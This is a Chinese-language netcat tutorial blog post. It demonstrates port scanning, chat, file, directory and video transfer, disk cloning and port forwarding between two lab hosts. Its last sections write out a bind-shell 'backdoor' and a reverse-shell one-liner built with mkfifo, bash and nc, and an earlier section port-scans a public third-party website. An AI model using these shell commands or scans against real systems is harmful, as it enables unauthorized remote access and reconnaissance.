码迷,mamicode.com
首页 > Web开发 > 详细

Linux netcat/nc 网络利器!

时间:2017-03-16 03:21:38      阅读:314      评论:0      收藏:0      [点我收藏+]

标签:linux netcat/nc 网络利器!


netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。

netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。


netcat 官网

http://netcat.sourceforge.net/

技术分享




nc经常用来调试网络程序, 

其实这个小工具结合创意能玩出你意想不到的功能!



本文演示netcat以下教程:

<<目录>>
实验环境介绍
端口扫描
网络调试,测试远程方网络程序
远程聊天, TCP模式
远程聊天, UDP模式
观察模式:禁止从标准输入中读取数据
超时自动断开连接
始终保持启动状态
模拟HTTP客户端 连接百度
文件传输
二进制文件传输
目录传输
流媒体视频 传输
克隆一个设备
端口转发
系统后门
反向shell


实验环境介绍:

两台Linux主机,同一个局域网内
Server:
IP 11.11.11.7  
OS:Ubuntu14.04
chunli@Server:~$ sudo apt-get install netcat

Client:
IP 11.11.11.4  
OS:CentOS-6.5
[chunli@Client ~]$ yum install nc



先看看Linux下netcat 与 nc 的关系

chunli@Linux:~$ which netcat 
/bin/netcat
chunli@Linux:~$ which nc
/bin/nc

chunli@Linux:~$ md5sum /bin/netcat
562d2661804f6ad900827bbfeb8c6350  /bin/netcat
chunli@Linux:~$ md5sum /bin/nc
562d2661804f6ad900827bbfeb8c6350  /bin/nc
chunli@Linux:~$ 

结果:netcat与nc是同一个程序!


nc的命令

chunli@Linux:~$ nc
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
	  [-P proxy_username] [-p source_port] [-q seconds] [-s source]
	  [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
	  [-x proxy_address[:port]] [destination] [port]


端口扫描

扫描局域网内IP为11.11.11.7主机,从10号到500号所开放的端口
[chunli@Client ~]$ nc -z  11.11.11.7 10-500
Connection to 11.11.11.7 22 port [tcp/ssh] succeeded!
Connection to 11.11.11.7 80 port [tcp/http] succeeded!
[chunli@Client ~]$ 


扫描本机开放的端口,范围10-500
[chunli@Client ~]$ nc -z localhost 10-500
Connection to localhost 22 port [tcp/ssh] succeeded!
Connection to localhost 25 port [tcp/smtp] succeeded!
Connection to localhost 111 port [tcp/sunrpc] succeeded!
[chunli@Client ~]$ 

参数-z 去掉-z参数,阻塞在发现的端口这里,发现开放的端口直接连上了
[chunli@Client ~]$ nc  localhost 10-500
SSH-2.0-OpenSSH_5.3


-v 参数详细显示
[chunli@Client ~]$ nc -zv localhost 20-30
nc: connect to localhost port 20 (tcp) failed: Connection refused
nc: connect to localhost port 20 (tcp) failed: Connection refused
nc: connect to localhost port 21 (tcp) failed: Connection refused
nc: connect to localhost port 21 (tcp) failed: Connection refused
Connection to localhost 22 port [tcp/ssh] succeeded!
nc: connect to localhost port 23 (tcp) failed: Connection refused
nc: connect to localhost port 23 (tcp) failed: Connection refused
nc: connect to localhost port 24 (tcp) failed: Connection refused
nc: connect to localhost port 24 (tcp) failed: Connection refused
Connection to localhost 25 port [tcp/smtp] succeeded!
nc: connect to localhost port 26 (tcp) failed: Connection refused
nc: connect to localhost port 26 (tcp) failed: Connection refused
nc: connect to localhost port 27 (tcp) failed: Connection refused
nc: connect to localhost port 27 (tcp) failed: Connection refused
nc: connect to localhost port 28 (tcp) failed: Connection refused
nc: connect to localhost port 28 (tcp) failed: Connection refused
nc: connect to localhost port 29 (tcp) failed: Connection refused
nc: connect to localhost port 29 (tcp) failed: Connection refused
nc: connect to localhost port 30 (tcp) failed: Connection refused
nc: connect to localhost port 30 (tcp) failed: Connection refused
[chunli@Client ~]$ 

扫描电影天堂网站开放了多少端口 扫描速度较慢
www.dytt8.net
[chunli@Client ~]$ nc -z www.dytt8.net 20-32767
Connection to www.dytt8.net 22 port [tcp/ssh] succeeded!
Connection to www.dytt8.net 80 port [tcp/http] succeeded!
等了几分钟,就扫了2个端口出来, 果断不给力!


netcat扫描端口太慢了, 这个活交给nmap比较合适,10秒完成!
[chunli@Client ~]$ nmap www.dytt8.net

Starting Nmap 5.51 ( http://nmap.org ) at 2017-03-14 06:16 CST
Nmap scan report for www.dytt8.net (117.25.129.231)
Host is up (0.036s latency).
Not shown: 988 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
135/tcp   filtered msrpc
139/tcp   filtered netbios-ssn
443/tcp   open     https
445/tcp   filtered microsoft-ds
593/tcp   filtered http-rpc-epmap
1068/tcp  filtered instl_bootc
1434/tcp  filtered ms-sql-m
4444/tcp  filtered krb524
6667/tcp  filtered irc
31337/tcp filtered Elite


网络调试

tcp监听本地
[root@linux ~]# nc -l 8080
[root@linux ~]# nc -l -p 8080
 
tcp访问远程主机
[root@linux ~]# nc 192.168.20.166 8080
 
 
udp监听本地
[root@linux ~]# nc -u -l 8080
 
udp访问远程主机
[root@linux chatsvr]# nc -u 192.168.20.18 8080



远程聊天, TCP模式

chunli@Server:~$ ifconfig eth0   #服务端
eth0      Link encap:以太网  硬件地址 00:0c:29:29:0f:49  
          inet 地址:11.11.11.7  广播:11.11.11.255  掩码:255.255.255.0
          inet6 地址: fe80::20c:29ff:fe29:f49/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  跃点数:1
          接收数据包:5996 错误:0 丢弃:0 过载:0 帧数:0
          发送数据包:5066 错误:0 丢弃:0 过载:0 载波:0
          碰撞:0 发送队列长度:1000 
          接收字节:4021349 (4.0 MB)  发送字节:439466 (439.4 KB)

#服务端开启监听	  
chunli@Server:~$ nc -l 8080

[chunli@Client ~]$ ifconfig eth0  #客户端 nc连接到服务器
eth0      Link encap:Ethernet  HWaddr 00:0C:29:C7:07:FF  
          inet addr:11.11.11.4  Bcast:11.11.11.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fec7:7ff/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:15849 errors:0 dropped:0 overruns:0 frame:0
          TX packets:22615 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:4121990 (3.9 MiB)  TX bytes:2038587 (1.9 MiB)
          Interrupt:18 Base address:0x2000 

[chunli@Client ~]$ nc 11.11.11.7 8080
HelloWorld! 
--------------------------------------------------
看看服务器窗口收到了什么
顺便回复一句! shit 狗屎!

chunli@Server:~$
HelloWorld!
shit 狗屎!
-----------------------------
看看客户端窗口
[chunli@Client ~]$ 
HelloWorld!       
shit 狗屎!

由此以来, 双方就可以互骂了.


远程聊天, UDP模式

chunli@Server:~$ nc -u -l 8080  #服务器开启监听
狗屎!
fuck!

[chunli@Client ~]$ nc -u 11.11.11.7 8080 #客户端连接上来
狗屎!
fuck!

这样也可以开始对骂了!


超时自动断开连接

一旦客户端连接上来,2秒内没有发数据,就断开连接
如果客户端狂发数据, 连接保持,2秒内没有发新的数据,就断开连接
chunli@Server:~$ nc -w 2 -l  9999
fd
sf
ds


[chunli@Client ~]$  nc 11.11.11.7 9999
fdsfds
fds
f
ds


始终保持启动状态

#服务端监听
chunli@Server:~$ nc -k -l  9999
haha
你好
linux内核源代码中有脏话

#客户端反复断开, 连接!
[chunli@Client ~]$  nc 11.11.11.7 9999
haha
^C
[chunli@Client ~]$ 
[chunli@Client ~]$  nc 11.11.11.7 9999
你好
^C
[chunli@Client ~]$  nc 11.11.11.7 9999
linux内核源代码中有脏话
^C
[chunli@Client ~]$


模拟HTTP客户端 连接百度 

输入:GET / HTTP/1.1 回车
[chunli@Client ~]$ nc www.baidu.com 80
GET / HTTP/1.1


看看百度HTTP服务器的头部返回
HTTP/1.1 302 Moved Temporarily
Date: Mon, 13 Mar 2017 14:37:58 GMT
Content-Type: text/html
Content-Length: 215
Connection: Keep-Alive
Location: http://www.baidu.com/search/error.html
Server: BWS/1.1
X-UA-Compatible: IE=Edge,chrome=1
BDPAGETYPE: 3
Set-Cookie: BDSVRTM=0; path=/

看看百度HTTP服务器的正文返回
<html>
<head><title>302 Found</title></head>
<body bgcolor="white">
<center><h1>302 Found</h1></center>
<hr><center>pr-nginx_1-0-330_BRANCH Branch
Time : Mon Feb 27 16:21:40 CST 2017</center>
</body>
</html>


文件传输

1, 服务器准备发送文本文件
chunli@Server:~$ cat /etc/issue
Ubuntu 14.04.5 LTS \n \l

chunli@Server:~$ cat /etc/issue | nc -l 7080
chunli@Server:~$ 

2, 客户端准备接受文本文件
[chunli@Client ~]$ nc 11.11.11.7 7080 > MyFile.txt
[chunli@Client ~]$ cat MyFile.txt
Ubuntu 14.04.5 LTS \n \l

[chunli@Client ~]$



nc 传输二进制文件, 服务器传给客户端

chunli@Server:~$ dd if=/dev/zero bs=1M count=10 of=test.file
记录了10+0 的读入
记录了10+0 的写出
10485760字节(10 MB)已复制,0.0109197 秒,960 MB/秒
chunli@Server:~$ md5sum test.file 
f1c9645dbc14efddc7d8a322685f26eb  test.file
chunli@Server:~$ 


chunli@Server:~$ cat test.file | nc -l 7080
[chunli@Client ~]$ nc 11.11.11.7 7080 > MyFile.txt
[chunli@Client ~]$ md5sum MyFile.txt
f1c9645dbc14efddc7d8a322685f26eb  MyFile.txt
[chunli@Client ~]$


nc 传输二进制文件, 客户端传给服务器

chunli@Server:~$  nc -l 7080  > haha  #监听,等待数据来临
chunli@Server:~$ md5sum haha
cd573cfaace07e7949bc0c46028904ff  haha

[chunli@Client ~]$ dd if=/dev/zero bs=1G count=1 of=MyFile
1+0 records in
1+0 records out
1073741824 bytes (1.1 GB) copied, 28.1895 s, 38.1 MB/s
[chunli@Client ~]$ md5sum MyFile
cd573cfaace07e7949bc0c46028904ff  MyFile
[chunli@Client ~]$ nc 11.11.11.7 7080 < MyFile #建立连接, 发数据


目录传输,客户端目录传到服务端

服务端与客户端时间最好同步一下!
chunli@Server:~$ sudo ntpdate cn.pool.ntp.org
[chunli@Client ~]$ sudo ntpdate cn.pool.ntp.org

#客户端目录情况
[chunli@Client ~]$ ll .ssh/    
total 12
-rw-rw-r--. 1 chunli chunli    8 Mar 14 06:55 Eng.xtt
-rw-r--r--. 1 chunli chunli 1175 Mar 12 23:36 known_hosts
-rw-rw-r--. 1 chunli chunli   13 Mar 14 06:55 中文.xtt
[chunli@Client ~]$ #查看文件MD5值
[chunli@Client ~]$ find .ssh/ -type f | xargs md5sum 
cd5e1e13f12927d85bcf7afd3c24e2b3  .ssh/Eng.xtt
630960961f54d096058e703fb7c51841  .ssh/known_hosts
6107f1d69a7d17430d5baa752c63c847  .ssh/中文.xtt

#等服务器开始监听后, 客户端开始发送目录
[chunli@Client ~]$ tar -c .ssh/ | nc 11.11.11.7 6789


#服务端开始监听,并接受数据
chunli@Server:~$ cd /tmp/
chunli@Server:/tmp$ ll
总用量 0
chunli@Server:/tmp$ nc -l 6789 | tar -x
tar: .ssh:时间戳 2017-03-14 06:55:42 是未来的 28010.428611496 秒之后
chunli@Server:/tmp$ md5sum .ssh/*
cd5e1e13f12927d85bcf7afd3c24e2b3  .ssh/Eng.xtt
630960961f54d096058e703fb7c51841  .ssh/known_hosts
6107f1d69a7d17430d5baa752c63c847  .ssh/中文.xtt

可以看出, 文件传输过程, 并没有损坏!


流媒体视频 传输

#服务端安装
chunli@Server:~$ sudo apt-get install mplayer2
chunli@Server:~$ nc -l 8090 | mplayer -vo x11 -cache 1024 -  #一个字符都不要少!


#客户端发来视频
[chunli@Client ~]$ nc 11.11.11.7 8090 < 1.wmv



准备开始!

技术分享



视频 真是一边传 一边播!

 技术分享



克隆一个设备,将硬盘原始数据 通过网络传出去

chunli@Server:~$ sudo dd if=/dev/sda | nc -l 8080
[chunli@Client ~]$ sudo -s
[root@Client chunli]# nc 11.11.11.7 8080 | dd of=/dev/sda


端口转发

客户端连接服务器12345端口, 
服务器将12345端口的数据转发给8000端口
双发互发内容


服务器端:
chunli@Server:~$ nc -l 8000    #窗口1  监听状态
hahah
你好, nc 端口转发
我是客户端
我是server

chunli@Server:~$ mkfifo myfif  #窗口2  转发状态 
chunli@Server:~$ cat myfif | nc localhost 8000| nc -l 12345 > myfif #仅仅是转发

#客户端来连接
[chunli@Client ~]$ nc 11.11.11.7 12345
hahah
你好, nc 端口转发
我是客户端
我是server


打开远程机shell(系统后门)

假如netcat 不支持-c 或者 -e 参数(openbsd netcat)

我们仍然能够创建远程shell

#在服务器上开后门
chunli@Server:~$ mkfifo myfif 
chunli@Server:~$ cat myfif | /bin/bash -i 2>&1 |nc -l 8080 >myfif 


#客户端连接上来,直接就到服务端的Shell了
[chunli@Client ~]$ nc 11.11.11.7 8080 
chunli@Server:~$ ifconfig
ifconfig
eth0      Link encap:以太网  硬件地址 00:0c:29:29:0f:49  
          inet 地址:11.11.11.7  广播:11.11.11.255  掩码:255.255.255.0
          inet6 地址: fe80::20c:29ff:fe29:f49/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  跃点数:1
          接收数据包:185469 错误:0 丢弃:0 过载:0 帧数:0
          发送数据包:246469 错误:0 丢弃:0 过载:0 载波:0
          碰撞:0 发送队列长度:1000 
          接收字节:165332900 (165.3 MB)  发送字节:357718332 (357.7 MB)

lo        Link encap:本地环回  
          inet 地址:127.0.0.1  掩码:255.0.0.0
          inet6 地址: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  跃点数:1
          接收数据包:409 错误:0 丢弃:0 过载:0 帧数:0
          发送数据包:409 错误:0 丢弃:0 过载:0 载波:0
          碰撞:0 发送队列长度:1 
          接收字节:32719 (32.7 KB)  发送字节:32719 (32.7 KB)

chunli@Server:~$



反向shell

#服务器开启监听, 客户端自己反向shell, 直接映入眼前!
chunli@Server:~$ nc -l 8080 
[chunli@Client ~]$ ifconfig
ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0C:29:C7:07:FF  
          inet addr:11.11.11.4  Bcast:11.11.11.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fec7:7ff/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:370527 errors:0 dropped:0 overruns:0 frame:0
          TX packets:147586 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:520873561 (496.7 MiB)  TX bytes:99872253 (95.2 MiB)
          Interrupt:18 Base address:0x2000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

[chunli@Client ~]$ 

#客户端窗口fifo, 并连接到服务器
[chunli@Client ~]$ mkfifo myfif 
[chunli@Client ~]$ cat myfif | /bin/bash -i 2>&1 |nc 11.11.11.7 8080 >myfif






本文出自 “李春利” 博客,谢绝转载!

Linux netcat/nc 网络利器!

标签:linux netcat/nc 网络利器!

原文地址:http://990487026.blog.51cto.com/10133282/1907044

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!